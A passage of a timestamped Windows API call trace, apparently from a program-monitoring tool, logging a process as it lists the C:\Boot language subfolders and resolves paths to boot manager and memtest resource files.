ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.768] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0121.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.769] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.770] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.770] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ", lpFilePart=0x0) returned 0xd [0121.770] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\", lpFilePart=0x0) returned 0xe [0121.771] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43cb740, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.771] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.771] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.772] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK", lpFilePart=0x0) returned 0xd [0121.772] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK\\", lpFilePart=0x0) returned 0xe [0121.772] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43cb740, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.773] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.773] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.773] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.775] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.776] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK", lpFilePart=0x0) returned 0xd [0121.776] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK\\", lpFilePart=0x0) returned 0xe [0121.776] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43cb740, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.776] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.777] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.777] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE", lpFilePart=0x0) returned 0xd [0121.777] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE\\", lpFilePart=0x0) returned 0xe [0121.778] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.778] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.778] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.778] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.779] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.779] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE", lpFilePart=0x0) returned 0xd [0121.779] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE\\", lpFilePart=0x0) returned 0xe [0121.780] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.781] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.781] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.781] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR", lpFilePart=0x0) returned 0xd [0121.781] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR\\", lpFilePart=0x0) returned 0xe [0121.782] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.782] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.782] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.782] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.784] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.784] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR", lpFilePart=0x0) returned 0xd [0121.785] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR\\", lpFilePart=0x0) returned 0xe [0121.785] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.785] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.785] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.786] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US", lpFilePart=0x0) returned 0xd [0121.786] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\", lpFilePart=0x0) returned 0xe [0121.786] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.786] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.786] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0121.786] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.787] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.787] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.788] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0121.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.788] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0121.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.789] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US", lpFilePart=0x0) returned 0xd [0121.789] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\", lpFilePart=0x0) returned 0xe [0121.789] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.789] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, 